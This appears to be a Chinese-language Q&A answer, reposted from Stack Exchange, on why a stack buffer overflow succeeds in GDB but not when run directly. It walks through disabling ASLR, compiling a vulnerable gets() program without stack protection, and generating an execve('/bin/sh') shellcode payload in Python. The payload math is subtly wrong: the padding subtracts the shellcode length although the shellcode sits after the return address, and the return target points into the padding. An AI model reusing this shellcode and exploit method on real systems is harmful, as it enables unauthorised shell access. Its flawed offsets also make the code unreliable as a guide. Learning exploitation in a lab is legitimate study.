Buffer溢出在GDB中生效但直接运行不生效(扩展版)
解决Buffer溢出在GDB中生效但直接通过文件重定向输入失效的问题
我之前也碰到过一模一样的问题——在GDB里调试时溢出触发完美,直接用./buf < attack.txt运行就毫无反应,折腾了好一阵才搞清楚根源。下面我结合你提到的经典教学C程序,一步步拆解问题和解决办法:
核心原因分析
GDB调试环境和直接运行程序的差异,主要集中在这三点:
- ASLR(地址空间布局随机化)状态不同:多数系统中,GDB启动程序时会自动禁用ASLR,栈地址固定;但直接运行程序时ASLR默认开启,栈地址每次都会变化,导致payload里的返回地址失效。
- 环境变量差异:GDB会给程序附加额外的环境变量(比如GDB自身的调试相关变量),这会让程序的栈起始地址和直接运行时不一样,你在GDB里算好的偏移量到了真实环境就不准了。
- 输入处理的细微差别:如果程序用
gets()、scanf("%s")这类函数读取输入,文件重定向时的换行符、文本编码转换可能会悄悄修改payload的二进制内容,导致溢出失败。
分步解决办法
1. 先临时关闭ASLR(测试阶段用)
首先先排除地址随机化的干扰,临时关闭ASLR:
sudo sysctl -w kernel.randomize_va_space=0
这个设置是临时的,重启系统后会恢复默认。如果是长期测试,也可以修改/etc/sysctl.conf文件添加kernel.randomize_va_space=0,然后执行sudo sysctl -p生效。
2. 重新计算真实环境下的栈偏移和返回地址
你在GDB里算的偏移量和地址,到直接运行环境里可能完全没用,得重新获取:
- 先修改你的测试程序,打印
buff的地址(方便后续计算):#include<stdio.h> #include<string.h> int main() { char buff[500]; printf("buff address: %p\n", buff); // 新增打印栈地址的代码 gets(buff); // 假设原程序用gets读取输入 return 0; } - 编译时关闭栈保护和开启栈执行权限(教学场景必备):
gcc -fno-stack-protector -z execstack -o buf buf.c - 直接运行编译后的程序,记录下输出的
buff地址(比如0xffffd8a0)。
3. 生成适配直接运行环境的payload
生成payload时要注意以下几点:
- 用二进制模式写入文件,避免文本编辑器自动转换换行符或截断null字节;
- 确保shellcode是
null-free的(如果用strcpy、gets这类函数,\x00会截断输入); - 用真实环境下的
buff地址计算返回地址(比如要跳到shellcode的位置,一般选buff地址 + 100左右,避免被填充数据覆盖)。
举个Python生成payload的例子(32位系统):
import struct # 无null字节的execve("/bin/sh") shellcode(32位) shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # 计算填充长度:buff大小(500) + ebp大小(4) - shellcode长度,剩下的用A填充 padding_length = 504 - len(shellcode) padding = b"A" * padding_length # 替换成你刚才获取的buff地址 + 合适偏移(比如+100) ret_addr = struct.pack("<I", 0xffffd8a0 + 100) # 组装payload:填充数据 + 返回地址 + shellcode payload = padding + ret_addr + shellcode # 二进制模式写入attack.txt with open("attack.txt", "wb") as f: f.write(payload)
4. 测试运行
现在直接用文件重定向运行程序,应该就能触发溢出了:
./buf < attack.txt
进阶:不关闭ASLR的解决方案
如果不想关闭ASLR(更贴近真实环境),可以用Ret2Libc或者**ROP(返回导向编程)**技术,利用libc库中的函数地址来绕过随机化。不过这个对初学者来说稍复杂,等你掌握基础溢出后再深入研究也不迟。
内容的提问来源于stack exchange,提问作者Panda
相关产品推荐
相关产品推荐

